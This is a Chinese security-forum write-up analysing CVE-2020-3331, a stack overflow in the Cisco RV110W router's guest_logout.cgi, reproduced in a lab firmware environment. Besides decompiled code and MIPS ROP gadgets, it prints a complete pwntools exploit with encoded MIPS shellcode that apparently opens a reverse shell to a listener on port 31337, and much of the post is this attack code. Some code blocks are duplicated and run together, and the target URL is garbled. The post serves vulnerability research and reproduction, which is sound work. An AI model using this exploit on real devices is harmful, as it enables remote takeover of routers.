-
-
[原创]Cisco RV110W 远程代码执行漏洞分析(CVE-2020-3331)
-
发表于: 2022-3-16 20:49 11610
-
本漏洞存在于CISCO RV110W-E-CN-K9(固件版本1.2.2.5),漏洞原因是cgi接口guest_logout.cgi中存在栈溢出漏洞,而因为mips本身不支持NX从而导致可以使用shellcode得到shell
由于不想入手路由器故采用了这位师傅所搭建的项目firmianay/IoT-vulhub: IoT 固件漏洞复现环境 (github.com),感谢这位师傅提供的环境
漏洞程序是/usr/sbin/下的httpd文件,拖入ida搜索字符串guest_logout_cgi定位到guest_logout_cgi函数,发现漏洞点
这里的sscanf函数通过正则表达式将v11中的数据分别存储到v29和v28中,其中v29存储的是分号前的所有字符,而v28存储的是不在分号后和等号前但在等号后换行符前的所有字符
而v11来自submit_button处
再来看一下这个接口所需要的其他数据
这里尝试构造payload,使用mipsrop插件在程序中寻找gadget,但是由于程序本身的gadget存在00会导致截断所以尝试在libc中寻找gadget,程序的libc在/lib/libc.so.0处,找到两个可以利用的gadget
第一个gadget的作用是将$sp+0x18放入a0寄存器然后再跳转到$s0寄存器所指向的地址处,第二个的作用是跳转到$a0寄存器所指向的地址,那么我们就可以通过将shellcode写入到$sp+0x18处,然后将返回地址覆盖为第一个gadget,并提前将so寄存器的值改为第二个gadget这样程序就会执行我们的shellcode,整体流程如下
这里因为项目里所提供的exp是使用msf生成的所以并没有使用该exp,而是使用了另一位师傅的exp,完整exp如下,这里libc基址需要根据自己的环境改动下
参考链接
[1]:思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)
[2]:[原创]思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[3]:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
[4]:IoT-vulhub/Cisco/CVE-2020-3331 at master · firmianay/IoT-vulhub (github.com)
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
v11 = (const char *)get_cgi("submit_button");
v11 = (const char *)get_cgi("submit_button");
v5 = (const char *)get_cgi((int)"cmac");
v6 = (const char *)get_cgi((int)"cip")
v5 = (const char *)get_cgi((int)"cmac");
v6 = (const char *)get_cgi((int)"cip")
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0
| 0x0003D050 | move $t9,$a0 | jalr $a0
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0
| 0x0003D050 | move $t9,$a0 | jalr $a0
jr $ra // addiu $a0,$sp,0x18;jalr $s0
jalr $s0 // move $t9,$a0 ; jalr $a0
jalr $a0 //shellcode
jr $ra // addiu $a0,$sp,0x18;jalr $s0
jalr $s0 // move $t9,$a0 ; jalr $a0
jalr $a0 //shellcode
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
io = listen(31337)
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shellcode
paramsPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.1.100"}
def attack():
try: requests.post("725K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4z5e0u0Q4x3X3f1I4y4U0S2Q4x3X3f1I4i4K6u0W2x3g2)9J5c8X3N6#2k6i4y4@1i4K6g2X3L8r3!0Y4L8%4g2@1i4K6u0W2j5$3N6A6", data=paramsPost, verify=False,timeout=1)
except: pass
thread.start_new_thread(attack,())io.wait_for_connection()log.success("getshell")
io.interactive()from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
io = listen(31337)
libc = 0x2af98000
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!